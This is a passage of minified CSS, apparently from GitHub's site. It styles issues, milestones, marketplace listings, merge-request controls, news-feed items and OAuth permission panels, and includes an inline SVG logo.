.toolbar-commenting.toolbar-commenting.toolbar-commenting{background:transparent}.team-discussions .previewable-comment-form .tabnav-tab.selected{background-color:var(--color-canvas-default)}.hooks-listing .boxed-group-action.select-menu{z-index:auto}.hooks-listing .boxed-group-inner{padding:0 8px;margin-bottom:8px}.hook-item a:hover{text-decoration:none}.hook-item .item-status{float:left;width:16px;margin-right:8px;text-align:center}.hook-item .description{color:var(--color-fg-muted)}.hook-item .description .css-truncate-target{max-width:160px}.hook-item .icon-for-success,.hook-item .icon-for-failure,.hook-item .icon-for-pending,.hook-item .icon-for-inactive{display:none}.hook-item.success .icon-for-success{display:inline-block;color:var(--color-success-fg)}.hook-item.failure .icon-for-failure{display:inline-block;color:var(--color-danger-fg)}.hook-item.pending .icon-for-pending{display:inline-block;color:var(--color-fg-muted)}.hook-item.inactive .icon-for-inactive{display:inline-block;color:var(--color-fg-muted)}.hook-item .icon-for-enabled,.hook-item .icon-for-disabled{display:none}.hook-item.enabled .icon-for-enabled{display:inline-block;color:var(--color-success-fg)}.hook-item.disabled .icon-for-disabled{display:inline-block;color:var(--color-fg-muted)}.hook-item .hook-error-message{margin-left:24px;color:var(--color-danger-fg)}.hook-url.css-truncate-target{max-width:360px}.hooks-oap-warning{margin-top:0}.hooks-oap-warning ul{margin:8px 0}.hooks-oap-warning ul li{margin-left:16px}.item-name{float:left;font-weight:600}.hovercard-icon{width:16px}.integration-meta-head{font-size:16px;color:var(--color-fg-muted)}.integrations-select-repos{max-height:138px;overflow-y:scroll;border-radius:6px}.integrations-select-repos .mini-repo-list-item{padding:8px 64px 8px 32px}.integrations-select-repos .mini-repo-list-item:hover .repo,.integrations-select-repos .mini-repo-list-item:hover .owner{text-decoration:none}.integrations-select-repos .mini-repo-list-item .css-truncate-target{max-width:345px}.integrations-select-repos::-webkit-scrollbar{width:10px}.integrations-select-repos::-webkit-scrollbar-thumb{background-color:rgba(0,0,0,.5);border:solid var(--color-canvas-default) 2px;border-radius:6px;box-shadow:0 0 1px rgba(255,255,255,.5)}.integrations-select-repos::-webkit-scrollbar-track-piece{background:transparent}.integrations-repository-picker{width:440px}.target-avatar{position:relative;top:-2px}.issue-list-item+.issue-list-item{border-top:solid 1px var(--color-border-muted)}.pinned-issue-item .pinned-issue-handle{cursor:grab}.pinned-issue-item.is-dragging,.pinned-issue-item.is-dragging .pinned-issue-handle{cursor:grabbing}.pinned-issue-item.is-dragging{background-color:var(--color-accent-subtle)}.pinned-issue-item.sortable-ghost{background-color:var(--color-accent-subtle);opacity:0}.issues-reset-query-wrapper{margin-bottom:16px}.label-link:hover{text-decoration:none}.issues-reset-query{font-weight:600;color:var(--color-fg-muted)}.issues-reset-query:hover{color:var(--color-accent-fg);text-decoration:none}.issues-reset-query:hover .issues-reset-query-icon{background-color:var(--color-accent-emphasis)}.issues-reset-query-icon{width:18px;height:18px;padding:1px;margin-right:4px;color:var(--color-fg-on-emphasis);text-align:center;background-color:var(--color-neutral-emphasis);border-radius:6px}.table-list-milestones .stats{gap:0 15px}.table-list-milestones .table-list-cell{padding:16px 16px}.table-list-milestones .stat{display:inline-block;font-size:14px;font-weight:600;line-height:1.2;color:var(--color-fg-muted);white-space:nowrap}.table-list-milestones .stat a{color:inherit}.table-list-milestones .stat-label{font-weight:400;color:var(--color-fg-muted)}.milestone-title{width:500px}.milestone-title-link{margin-top:0;margin-bottom:4px;font-size:24px;font-weight:400;line-height:1.2}.milestone-title-link a{color:var(--color-fg-default, #333)}.milestone-title-link a:hover{color:var(--color-accent-fg)}.milestone-progress{width:auto;max-width:420px}.milestone-progress .progress-bar{margin-top:8px;margin-bottom:12px}.milestone-meta{font-size:14px}.milestone-meta-item{display:inline-block;margin-right:8px}.milestone-meta-item .octicon{width:16px;text-align:center}.milestone-description-html{display:none}.milestone-description{margin-top:4px}.milestone-description .expand-more{color:var(--color-accent-fg);cursor:pointer}.milestone-description .expand-more:hover{text-decoration:underline}.milestone-description.open .milestone-description-plaintext{display:none}.milestone-description.open .milestone-description-html{display:block}.milestones-flexbox-gap{gap:10px}.issue-reorder-warning{z-index:110}.task-progress{color:var(--color-fg-muted);text-decoration:none;vertical-align:top}.task-progress .octicon{margin-right:4px;color:var(--color-fg-muted, #999);vertical-align:bottom}.task-progress .progress-bar{display:inline-block;width:80px;height:5px;vertical-align:2px;background-color:var(--color-neutral-muted)}.task-progress .progress-bar .progress{background-color:var(--color-border-default)}.task-progress-counts{display:inline-block;margin-right:4px;margin-left:-2px;font-size:12px}a.task-progress:hover{color:var(--color-accent-fg)}a.task-progress:hover .octicon{color:inherit}a.task-progress:hover .progress-bar .progress{background-color:var(--color-accent-emphasis)}.issue-meta-section .octicon{color:var(--color-fg-muted, #ccc);vertical-align:bottom}.issue-milestone{max-width:240px}.issue-milestone .css-truncate-target{max-width:100px}.milestone-link .octicon{font-size:14px}.milestone-link:hover .octicon{color:inherit}.new-pr-form{margin-top:16px;margin-bottom:16px}.new-pr-form::before{display:table;content:""}.new-pr-form::after{display:table;clear:both;content:""}.new-pr-form .discussion-timeline::before{display:none}.label-select-menu .description{margin-left:16px}.label-select-menu .color{display:inline-block;width:14px;height:14px;margin-top:-1px;margin-right:2px;vertical-align:middle;border-radius:7px}.label-select-menu [aria-checked=true] .select-menu-item-icon,.label-select-menu [aria-checked=mixed] .select-menu-item-icon,.label-select-menu .selected .select-menu-item-icon{color:inherit !important}.label-select-menu [aria-checked=true] .octicon-circle-slash,.label-select-menu [aria-checked=mixed] .octicon-circle-slash,.label-select-menu .selected .octicon-circle-slash{color:var(--color-fg-muted)}.label-select-menu [aria-checked=true]:active,.label-select-menu [aria-checked=mixed]:active,.label-select-menu .selected:active{background-color:transparent !important}.label-select-menu .select-menu-item{position:relative}.label-select-menu .select-menu-item:hover,.label-select-menu .select-menu-item:focus,.label-select-menu .select-menu-item[aria-selected=true],.label-select-menu .select-menu-item.navigation-focus{color:inherit;background-color:var(--color-neutral-subtle)}.label-select-menu .select-menu-item:hover .select-menu-item-icon,.label-select-menu .select-menu-item:focus .select-menu-item-icon,.label-select-menu .select-menu-item[aria-selected=true] .select-menu-item-icon,.label-select-menu .select-menu-item.navigation-focus .select-menu-item-icon{color:transparent}.label-select-menu .select-menu-item:hover .label-options-icon,.label-select-menu .select-menu-item:focus .label-options-icon,.label-select-menu .select-menu-item[aria-selected=true] .label-options-icon,.label-select-menu .select-menu-item.navigation-focus .label-options-icon{color:inherit}.label-select-menu>form{position:relative}.subnav .btn+.issues-search{padding-right:8px;border-right:1px solid var(--color-border-muted)}.reaction-sort-item{float:left;width:39px;padding:4px;margin-top:4px;text-align:center;pointer-events:all;border:solid 1px transparent;border-radius:6px;opacity:.7}.reaction-sort-item:focus,.reaction-sort-item:hover{text-decoration:none;background-color:var(--color-accent-emphasis);opacity:1}.reaction-sort-item[aria-checked=true]{background-color:var(--color-accent-subtle);border-color:var(--color-accent-emphasis);opacity:1}.issue-keyword{border-bottom:1px dotted var(--color-border-default)}.issue-keyword:hover{border-bottom:0}.new-label-color-dimensions{width:24px;height:24px}.select-menu-item[aria-selected=true]>.octicon.label-options-icon,.select-menu-item.navigation-focus>.octicon.label-options-icon{color:var(--color-fg-default)}.new-label-color-input:invalid{color:var(--color-danger-fg)}.issue-form-textarea{height:100px !important;min-height:100px !important}.issue-forms-wysiwyg-container .comment-form-head{background:var(--color-canvas-subtle) !important}.issue-forms-wysiwyg-container .comment-body{border-bottom:0 !important}.issue-form-body>:first-child{margin-top:0 !important}.issue-create-branch-menu-action{color:var(--color-fg-default)}.issue-create-branch-menu-action:hover:not(:disabled){color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}.issue-create-branch-menu-action:focus:not(:disabled){color:var(--color-fg-default);background-color:var(--color-neutral-subtle)}react-app{display:flex !important}react-app>div{width:100%}.repository-lang-stats{position:relative}.repository-lang-stats ol.repository-lang-stats-numbers li{display:table-cell;width:1%;padding:8px 4px;text-align:center;white-space:nowrap;border-bottom:0}.repository-lang-stats ol.repository-lang-stats-numbers li span.percent{float:none}.repository-lang-stats ol.repository-lang-stats-numbers li>a,.repository-lang-stats ol.repository-lang-stats-numbers li>span{font-weight:600;color:var(--color-fg-muted);text-decoration:none}.repository-lang-stats ol.repository-lang-stats-numbers li .lang{color:var(--color-fg-default)}.repository-lang-stats ol.repository-lang-stats-numbers li .language-color{display:inline-block;width:10px;height:10px;border-radius:50%}.repository-lang-stats ol.repository-lang-stats-numbers li a:hover{background:transparent}.repository-lang-stats-graph{width:100%;overflow:hidden;white-space:nowrap;cursor:pointer;-webkit-user-select:none;user-select:none;border:1px solid var(--color-border-default);border-top:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.repository-lang-stats-graph .language-color{line-height:8px;text-indent:-9999px}.repository-lang-stats-graph .language-color:first-child{border-bottom-left-radius:6px}.repository-lang-stats-graph .language-color:last-child{border-bottom-right-radius:6px}.repository-lang-stats-graph .language-color:not(:first-child){border-left:1px solid var(--color-canvas-default)}.facebox-loading,.octocat-spinner{min-height:64px;background-image:url("/images/spinners/octocat-spinner-64.gif");background-repeat:no-repeat;background-position:center center}.octocat-spinner-32{min-height:32px;background-image:url("/images/spinners/octocat-spinner-32.gif");background-repeat:no-repeat;background-position:center center}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){.facebox-loading,.octocat-spinner{background-image:url("/images/spinners/octocat-spinner-128.gif");background-size:64px 64px}.octocat-spinner-32{background-image:url("/images/spinners/octocat-spinner-64.gif");background-size:32px 32px}}.map-container .activity{top:120px;left:340px;z-index:99999}.map-container .is-graph-loading .activity{display:block}.map{height:350px}.map-background{pointer-events:all;fill:#0366d6}.map-background-zoom{cursor:grab}.map-land{fill:none;stroke:#256aae;stroke-width:2;shape-rendering:crispedges}.map-country{fill:#d7c7ad;shape-rendering:crispedges;cursor:pointer}.map-country.hk{stroke:#a5967e}.map-country:hover{fill:#c8b28e}.map-country.active{fill:#f6e5ca}.map-borders{fill:none;stroke:#a5967e;shape-rendering:crispedges}.map-graticule{pointer-events:none;fill:none;stroke:#fff;stroke-opacity:.2;shape-rendering:crispedges}.map-graticule :nth-child(2n){stroke-dasharray:2,2}.map-legend .map-legend-circle{fill-opacity:0;stroke:#fff;stroke-width:1.5}.map-legend .map-legend-text{font-size:12px;fill:#fff;text-anchor:end}.map-legend .map-legend-link{stroke:#fff;stroke-width:1.5}.map-point{pointer-events:none;fill:#f66a0a}.map-point:hover{fill:#e36209}.map-country-info{top:8px;right:8px;pointer-events:none;opacity:0}.MarketplaceJumbotron{background-color:var(--color-neutral-emphasis);background-image:url("/images/modules/marketplace/bg-hero.svg");background-repeat:repeat-y;background-position:center top;background-size:150% auto}@media(min-width: 768px){.MarketplaceJumbotron{background-repeat:no-repeat;background-size:cover}}.CircleBadge--feature{position:relative;top:0;transition:top .15s ease-in,box-shadow .12s ease-in}.MarketplaceFeature{min-width:250px}.MarketplaceFeature-text{opacity:.7;transition:opacity .12s ease-in}.MarketplaceFeature-link:hover .CircleBadge--feature{top:-3px;box-shadow:0 3px 8px 0 rgba(0,0,0,.2)}.MarketplaceFeature-link:hover .MarketplaceFeature-text{opacity:1}.MarketplaceFeature-link:active .CircleBadge--feature{top:0;box-shadow:0}.MarketplaceSideNav{-webkit-overflow-scrolling:touch;background-color:var(--color-canvas-subtle)}@media(min-width: 768px){.MarketplaceSideNav{background-color:var(--color-canvas-default);border-right:1px solid var(--color-border-default)}}.ScreenshotCarousel{border:1px solid var(--color-border-default);border-radius:6px}.ScreenshotCarousel-screenshot{padding:16px}.ScreenshotCarousel-nav{display:flex;overflow-x:auto;align-items:top;box-shadow:inset 0 1px 0 var(--color-border-default)}.ScreenshotCarousel-navitem{width:20%;min-width:120px;padding:16px;cursor:pointer;border-right:1px solid var(--color-border-default)}.ScreenshotCarousel-navitem:last-child{border-right:0}.ScreenshotCarousel-navitem.selected{background-color:var(--color-canvas-subtle);box-shadow:inset 0 0 4px rgba(36,41,46,.15)}.marketplace-listing-screenshot-container{width:175px;min-height:175px;background-repeat:no-repeat;background-position:center center;background-size:cover}.marketplace-listing-screenshot-zoom{display:none;cursor:move}.marketplace-listing-details-sidebar{order:2}@media(min-width: 768px){.marketplace-listing-details-sidebar{order:1}}.marketplace-listing-details-description{order:1}@media(min-width: 768px){.marketplace-listing-details-description{order:2}}.marketplace-listing-screenshot-link{height:100px;cursor:move}.marketplace-listing-screenshot-link:hover .marketplace-listing-screenshot-zoom,.marketplace-listing-screenshot-link:focus .marketplace-listing-screenshot-zoom{top:0;left:0;display:block;width:100%;height:100%;padding-top:24px;background-color:rgba(255,255,255,.75)}.marketplace-integratable-logo{width:40px;height:40px}.marketplace-listing-save-notice,.marketplace-listing-save-error{display:none;opacity:0;transition:opacity .15s linear}.marketplace-listing-save-notice.visible,.marketplace-listing-save-error.visible{display:inline-block;opacity:1}.marketplace-listing-screenshot-delete-form{position:absolute;bottom:-24px;width:100%;text-align:center}.marketplace-plan-dollar-field-container .price-note{display:none}.marketplace-plan-dollar-field-container.is-errored .price-note{display:block}.marketplace-plan-dollar-field-container.is-errored .form-control{border-color:var(--color-danger-emphasis)}.marketplace-plan-emphasis{color:var(--color-fg-default)}.selected .marketplace-plan-emphasis{color:var(--color-fg-on-emphasis)}.marketplace-plan-unit-name-preview::before{content:"per "}.marketplace-plan-per-time{clear:right}.marketplace-billing-modal{width:540px;max-height:90vh;margin-top:5vh}.marketplace-listing-markdown,.marketplace-url-link{word-wrap:break-word;white-space:pre-wrap}.marketplace-listing-markdown{line-height:1.4}.marketplace-product-callout{border-color:var(--color-border-default) !important}.marketplace-product-callout::before,.marketplace-product-callout::after{display:none}.marketplace-product-callout .branch-action-item-icon{color:var(--color-fg-muted);background-color:var(--color-canvas-subtle)}.filter-item.selected .Label--secondary{color:var(--color-fg-on-emphasis);border-color:var(--color-fg-on-emphasis)}.MarketplaceEdit-body{min-height:570px}.MarketplaceEdit-body .pricing-model-selector{width:calc(100% - 12px);max-width:100% !important}.MarketplaceEdit-body .menu{border-right:0;border-left:0;border-radius:0}.MarketplaceEdit-body .menu-item{padding:12px 16px;background:var(--color-canvas-subtle)}.MarketplaceEdit-body .menu-item.selected{background:var(--color-canvas-default)}.MarketplaceEdit-body .menu-item:hover{background:var(--color-canvas-subtle)}.MarketplaceEdit-body .menu-item.selected::before{position:absolute;top:0;bottom:0;left:0;width:3px;content:"";background-color:var(--color-severe-emphasis)}.MarketplaceEdit-body .menu-item:first-child::before{border-top-left-radius:0}.MarketplaceEdit-body .CircleIcon{display:inline-block;width:32px;height:32px;font-weight:600;line-height:32px;color:var(--color-fg-muted);text-align:center;background:#e6ebf1;border-radius:50%}.MarketplaceEdit-body .CircleIcon .octicon{display:inline-block}.MarketplaceInsights-graph .insights-month .tick:nth-child(2n){visibility:hidden}.BarChart{border-radius:6px}.BarChart-bar{height:10px;border-right:1px solid var(--color-canvas-default)}.BarChart-bar--green{background-color:var(--color-success-emphasis)}.BarChart-bar--orange{background-color:var(--color-severe-emphasis)}.BarChart-bar--yellow{background-color:var(--color-attention-emphasis)}.CircleBadge--tiny{width:32px;height:32px}.CircleBadge--github{position:relative}.CircleBadge--github.CircleBadge--large::after{right:5px;bottom:5px}.CircleBadge--github.CircleBadge--small::after{right:-5px;bottom:-5px}.CircleBadge--github::after{position:absolute;right:0;bottom:0;display:block;width:22px;height:22px;padding:4px;line-height:0;content:"";background:var(--color-canvas-default) url("data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48c3ZnIHdpZHRoPSIyMnB4IiBoZWlnaHQ9IjIycHgiIHZpZXdCb3g9IjAgMCAyMiAyMiIgdmVyc2lvbj0iMS4xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4gICAgICAgIDx0aXRsZT5TaGFwZSBDb3B5PC90aXRsZT4gICAgPGRlc2M+Q3JlYXRlZCB3aXRoIFNrZXRjaC48L2Rlc2M+ICAgIDxkZWZzPjwvZGVmcz4gICAgPGcgaWQ9IktpdGNoZW4tc2luayIgc3Ryb2tlPSJub25lIiBzdHJva2Utd2lkdGg9IjEiIGZpbGw9Im5vbmUiIGZpbGwtcnVsZT0iZXZlbm9kZCI+ICAgICAgICA8ZyBpZD0iT2N0aWNvbnMiIHRyYW5zZm9ybT0idHJhbnNsYXRlKC0zNzAuMDAwMDAwLCAtMTU4NC4wMDAwMDApIiBmaWxsPSIjMUIxRjIzIj4gICAgICAgICAgICA8cGF0aCBkPSJNMzgxLDE1ODQgQzM3NC45MjI1LDE1ODQgMzcwLDE1ODguOTIyNSAzNzAsMTU5NSBDMzcwLDE1OTkuODY3NSAzNzMuMTQ4NzUsMTYwMy45Nzg3NSAzNzcuNTIxMjUsMTYwNS40MzYyNSBDMzc4LjA3MTI1LDE2MDUuNTMyNSAzNzguMjc3NSwxNjA1LjIwMjUgMzc4LjI3NzUsMTYwNC45MTM3NSBDMzc4LjI3NzUsMTYwNC42NTI1IDM3OC4yNjM3NSwxNjAzLjc4NjI1IDM3OC4yNjM3NSwxNjAyLjg2NSBDMzc1LjUsMTYwMy4zNzM3NSAzNzQuNzg1LDE2MDIuMTkxMjUgMzc0LjU2NSwxNjAxLjU3MjUgQzM3NC40NDEyNSwxNjAxLjI1NjI1IDM3My45MDUsMTYwMC4yOCAzNzMuNDM3NSwxNjAwLjAxODc1IEMzNzMuMDUyNSwxNTk5LjgxMjUgMzcyLjUwMjUsMTU5OS4zMDM3NSAzNzMuNDIzNzUsMTU5OS4yOSBDMzc0LjI5LDE1OTkuMjc2MjUgMzc0LjkwODc1LDE2MDAuMDg3NSAzNzUuMTE1LDE2MDAuNDE3NSBDMzc2LjEwNSwxNjAyLjA4MTI1IDM3Ny42ODYyNSwxNjAxLjYxMzc1IDM3OC4zMTg3NSwxNjAxLjMyNSBDMzc4LjQxNSwxNjAwLjYxIDM3OC43MDM3NSwxNjAwLjEyODc1IDM3OS4wMiwxNTk5Ljg1Mzc1IEMzNzYuNTcyNSwxNTk5LjU3ODc1IDM3NC4wMTUsMTU5OC42MyAzNzQuMDE1LDE1OTQuNDIyNSBDMzc0LjAxNSwxNTkzLjIyNjI1IDM3NC40NDEyNSwxNTkyLjIzNjI1IDM3NS4xNDI1LDE1OTEuNDY2MjUgQzM3NS4wMzI1LDE1OTEuMTkxMjUgMzc0LjY0NzUsMTU5MC4wNjM3NSAzNzUuMjUyNSwxNTg4LjU1MTI1IEMzNzUuMjUyNSwxNTg4LjU1MTI1IDM3Ni4xNzM3NSwxNTg4LjI2MjUgMzc4LjI3NzUsMTU4OS42Nzg3NSBDMzc5LjE1NzUsMTU4OS40MzEyNSAzODAuMDkyNSwxNTg5LjMwNzUgMzgxLjAyNzUsMTU4OS4zMDc1IEMzODEuOTYyNSwxNTg5LjMwNzUgMzgyLjg5NzUsMTU4OS40MzEyNSAzODMuNzc3NSwxNTg5LjY3ODc1IEMzODUuODgxMjUsMTU4OC4yNDg3NSAzODYuODAyNSwxNTg4LjU1MTI1IDM4Ni44MDI1LDE1ODguNTUxMjUgQzM4Ny40MDc1LDE1OTAuMDYzNzUgMzg3LjAyMjUsMTU5MS4xOTEyNSAzODYuOTEyNSwxNTkxLjQ2NjI1IEMzODcuNjEzNzUsMTU5Mi4yMzYyNSAzODguMDQsMTU5My4yMTI1IDM4OC4wNCwxNTk0LjQyMjUgQzM4OC4wNCwxNTk4LjY0Mzc1IDM4NS40Njg3NSwxNTk5LjU3ODc1IDM4My4wMjEyNSwxNTk5Ljg1Mzc1IEMzODMuNDIsMTYwMC4xOTc1IDM4My43NjM3NSwxNjAwLjg1NzUgMzgzLjc2Mzc1LDE2MDEuODg4NzUgQzM4My43NjM3NSwxNjAzLjM2IDM4My43NSwxNjA0LjU0MjUgMzgzLjc1LDE2MDQuOTEzNzUgQzM4My43NSwxNjA1LjIwMjUgMzgzLjk1NjI1LDE2MDUuNTQ2MjUgMzg0LjUwNjI1LDE2MDUuNDM2MjUgQzM4OC44NTEyNSwxNjAzLjk3ODc1IDM5MiwxNTk5Ljg1Mzc1IDM5MiwxNTk1IEMzOTIsMTU4OC45MjI1IDM4Ny4wNzc1LDE1ODQgMzgxLDE1ODQgTDM4MSwxNTg0IFoiIGlkPSJTaGFwZS1Db3B5Ij48L3BhdGg+ICAgICAgICA8L2c+ICAgIDwvZz48L3N2Zz4=") center no-repeat;border-radius:100px}body.page-responsive .flash-full .container{width:100%;max-width:980px}.ClipboardButton{position:relative}.ClipboardButton.ClipboardButton--success{border-color:var(--color-success-emphasis);box-shadow:0 0 0 .2em rgba(52,208,88,.4)}.ClipboardButton.ClipboardButton--success:focus{box-shadow:0 0 0 .2em rgba(52,208,88,.4)}@media(min-width: 768px){.MarketplacePlan--sticky{position:sticky;top:24px;z-index:999}}@media(max-width: 544px){.Box--full{right:0;bottom:0;left:0;width:100%;max-width:none;max-height:none;margin:0;border-radius:0;transform:none}}.MarketplaceBackground-wrapper{position:relative}.MarketplaceBackground-recommendations{position:relative;top:-90px;width:313px;margin-top:-150px;margin-bottom:-120px;overflow:hidden}.MarketplaceBackground-recommendations img{position:relative;top:0;right:225px;width:549px}@media(min-width: 544px){.MarketplaceBackground-recommendations{position:relative;width:463px;margin-top:-180px;margin-bottom:70px;overflow:hidden}.MarketplaceBackground-recommendations img{right:305px;width:730px}}@media(min-width: 768px){.MarketplaceBackground-recommendations{position:absolute;top:-228px;right:-69px;width:633px}.MarketplaceBackground-recommendations img{right:195px;width:750px}}@media(min-width: 1012px){.MarketplaceBackground-recommendations{top:-268px;right:0;width:1040px}.MarketplaceBackground-recommendations img{right:-115px;width:900px}}@media(min-width: 1280px){.MarketplaceBackground-recommendations{top:-325px;right:105px;width:1040px}.MarketplaceBackground-recommendations img{right:0;width:1040px}}.MarketplaceBackground-buffer{padding-top:40px;margin-top:-146px;background:var(--color-canvas-subtle)}@media(min-width: 544px){.MarketplaceBackground-buffer{padding-top:120px;margin-top:-233px}}@media(min-width: 768px){.MarketplaceBackground-buffer{margin-top:-109px}}@media(min-width: 1012px){.MarketplaceBackground-buffer{margin-top:-89px}}.MarketplaceHeader{overflow:hidden}.Link--muted.filter-item.selected{color:var(--color-fg-on-emphasis) !important}.MarketplaceBody{position:relative}@media(min-width: 544px){.MarketplaceBody{top:-72px;z-index:2}}.MarketplaceDetails .octicon{transition:transform 200ms linear;transform:scaleY(1)}.MarketplaceDetails[open] .octicon{transform:scaleY(-1)}.MarketplaceAnnouncement{color:#fff;background:linear-gradient(90deg, #257bf9, #2426ca)}.MarketplaceAnnouncement-icon{width:80px;opacity:.9}.MarketplaceAnnouncement-description{opacity:.7}.member-list-item .table-list-cell-checkbox{width:30px}.member-list-item.adminable .member-info{padding-left:4px}.member-list-item .member-avatar-cell{width:64px}.triage-mode .none-selected{display:none}.merge-branch-heading{margin:0;line-height:1;color:var(--color-fg-default)}.merge-branch-description{margin-right:160px;margin-bottom:-4px;line-height:1.6em;color:var(--color-fg-muted)}.alt-merge-options{display:inline-block;margin-bottom:0;margin-left:4px;vertical-align:middle}.merged .merge-branch-description .commit-ref .css-truncate-target{max-width:180px}.merge-branch-prh-output{margin-top:8px}.merge-branch-form,.queue-branch-form{display:none;padding-left:60px}.merge-branch-manually{display:none;padding-top:16px;margin-top:16px;background-color:transparent;border-top:1px solid var(--color-border-default)}.merge-branch-manually p{margin-bottom:0}.merge-branch-manually h3{margin-bottom:8px}.merge-branch-manually .intro{padding-bottom:8px;margin-top:0}.merge-branch-manually .step{margin:16px 0 4px}.open .merge-branch-manually{display:block}.select-menu-merge-method{width:310px}.select-menu-merge-method .select-menu-item:hover,.select-menu-merge-method .select-menu-item:hover .octicon,.select-menu-merge-method .select-menu-item:hover .select-menu-item-text{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.select-menu-merge-method .select-menu-item:hover .description{color:var(--color-fg-on-emphasis)}.merge-pr.is-squashing .commit-author-fields{display:none}.merge-pr.is-rebasing .commit-form-fields{display:none;transition:opacity .15s linear 0s,margin-top .25s ease .1s}.merge-pr .btn-group-merge,.merge-pr .btn-group-merge-group,.merge-pr .merge-queue-info,.merge-pr .merge-queue-group-time-to-merge,.merge-pr.is-squashing .btn-group-squash,.merge-pr.is-rebasing .btn-group-rebase,.merge-pr.is-updating-via-merge .btn-group-update-merge,.merge-pr.is-updating-via-rebase .btn-group-update-rebase,.merge-pr.is-merging-solo .btn-group-merge-solo,.merge-pr.is-merging-solo .merge-queue-solo-time-to-merge,.merge-pr.is-merging-jump .btn-group-merge-jump,.merge-pr.is-merging-group .btn-group-merge-group,.merge-pr.is-merging .btn-group-merge-directly,.merge-pr.is-merging .merging-directly-warning{display:inline-block}.merge-pr .merging-body,.merge-pr .rebasing-body,.merge-pr .squashing-body,.merge-pr .merging-body-merge-warning,.merge-pr .merging-directly-warning,.merge-pr.is-merging .merge-queue-info,.merge-pr.is-merging-group .merge-queue-solo-time-to-merge,.merge-pr.is-merging-solo .merge-queue-group-time-to-merge,.merge-pr.is-merging .branch-action-state-error-if-merging .merging-body{display:none}.merge-pr.is-merging .merging-body,.merge-pr.is-merging-solo .merging-body,.merge-pr.is-merging-jump .merging-body,.merge-pr.is-merging-group .merging-body,.merge-pr.is-rebasing .rebasing-body,.merge-pr.is-squashing .squashing-body,.merge-pr.is-merging .branch-action-state-error-if-merging .merging-body-merge-warning{display:block}.merge-pr .btn-group-squash,.merge-pr .btn-group-merge-solo,.merge-pr .btn-group-merge-jump,.merge-pr .btn-group-merge-directly,.merge-pr .btn-group-rebase,.merge-pr .btn-group-update-merge,.merge-pr .btn-group-update-rebase,.merge-pr.is-squashing .btn-group-merge,.merge-pr.is-rebasing .btn-group-merge,.merge-pr.is-merging-solo .btn-group-merge-group,.merge-pr.is-merging-jump .btn-group-merge-group,.merge-pr.is-merging .btn-group-merge-group{display:none;margin-left:0}.commit-form-fields{transition:opacity .15s linear .1s,margin-top .25s ease 0s}.unavailable-merge-method{display:block;margin-top:4px;color:var(--color-severe-fg)}[aria-selected=true].disabled .unavailable-merge-method,.navigation-focus.disabled .unavailable-merge-method{color:var(--color-fg-on-emphasis)}.try-merge-queue-popover{left:265px}@media(min-width: 1012px){.try-merge-queue-popover{left:272px}}.try-merge-queue-beta-flag{vertical-align:middle}.network .network-tree{vertical-align:middle}.network .gravatar{margin-right:4px;vertical-align:middle;border-radius:6px}.network .octicon{display:inline-block;width:16px;margin-left:2px;text-align:center;vertical-align:middle}.internal-repo-avatar{right:4px;bottom:-4px;border:solid 2px var(--color-canvas-default)}.owner-reponame dl.form-group{margin-top:4px;margin-bottom:0}.owner-reponame .slash{float:left;padding-top:32px;margin:0 8px;font-size:20px;color:var(--color-fg-muted)}.reponame-suggestion{color:var(--color-success-fg);cursor:pointer}.upgrade-upsell{padding-left:32px}.cc-upgrade{padding-left:16px}.news .release{margin-top:0;margin-bottom:0}.news blockquote{color:var(--color-fg-muted)}.news .alert{position:relative;padding:0 0 1em 45px;overflow:hidden;border-top:1px solid #eff3f6}.news .alert .commits{padding-left:40px}.news .alert .css-truncate.css-truncate-target,.news .alert .css-truncate .css-truncate-target{max-width:180px}.news .alert p{margin:0}.news .alert .markdown-body blockquote{padding:0 0 0 40px;border-width:0}.news .alert .octicon{color:var(--color-fg-muted)}.news .alert .dashboard-event-icon{position:absolute;top:18px;left:22px;transform:translateX(-50%)}.news .alert .body{padding:1em 0 0;overflow:hidden;font-size:14px;border-bottom:0}.news .alert .time{font-size:12px;color:var(--color-fg-muted)}.news .alert .title{padding:0;font-weight:600}.news .alert .title .subtle{color:var(--color-fg-muted)}.news .alert .gravatar{float:left;margin-right:.6em;line-height:0;background-color:var(--color-canvas-default);border-radius:6px}.news .alert .simple .title{display:inline-block;font-size:14px;font-weight:400;color:var(--color-fg-muted)}.news .alert .simple .time{display:inline-block}.news .alert:first-child{border-top:0}.news .alert:first-child .body{padding-top:0}.news .alert:first-child .dashboard-event-icon{top:0}.news .github-welcome .done{color:var(--color-fg-muted);text-decoration:line-through}.news .commits li{margin-top:.15em;list-style-type:none}.news .commits li.more{padding-top:2px;font-size:12px}.news .commits li .committer{display:none;padding-left:.5em}.news .commits li img{margin:0 1px 0 0;vertical-align:middle;background-color:var(--color-canvas-default);border-radius:6px}.news .commits li img.emoji{padding:0;margin:0;border:0}.news .commits li .message{display:inline-block;max-width:390px;margin-top:2px;overflow:hidden;font-size:14px;line-height:1.3;text-overflow:ellipsis;white-space:nowrap;vertical-align:top}.news div.message,.news li blockquote{display:inline;font-size:14px;color:var(--color-fg-muted)}.oauth-permissions-details{position:relative;padding:16px;margin:0;list-style:none;border-bottom:1px solid var(--color-border-muted)}.oauth-permissions-details:first-child{border-radius:6px 6px 0 0}.oauth-permissions-details:last-child{border:0;border-radius:0 0 6px 6px}.oauth-permissions-details.oauth-public-data-only{border-radius:6px}.oauth-permissions-details .markdown-body{font-size:12px}.oauth-permissions-details .content{display:none;margin-left:45px}.oauth-permissions-details .content .form-checkbox{margin-left:0}.oauth-permissions-details .content .form-checkbox:last-child{margin-bottom:0}.oauth-permissions-details .octicon{float:left;color:var(--color-fg-muted);text-align:center}.oauth-permissions-details .permission-help{font-size:12px}.oauth-permissions-details .permission-help ul{padding-left:16px;margin:1em 0}.oauth-permissions-details .permission-summary{margin-left:45px}.oauth-permissions-details .permission-summary .access-details{position:relative;color:var(--color-fg-muted)}.oauth-permissions-details .permission-summary em.highlight{position:relative;padding:2px 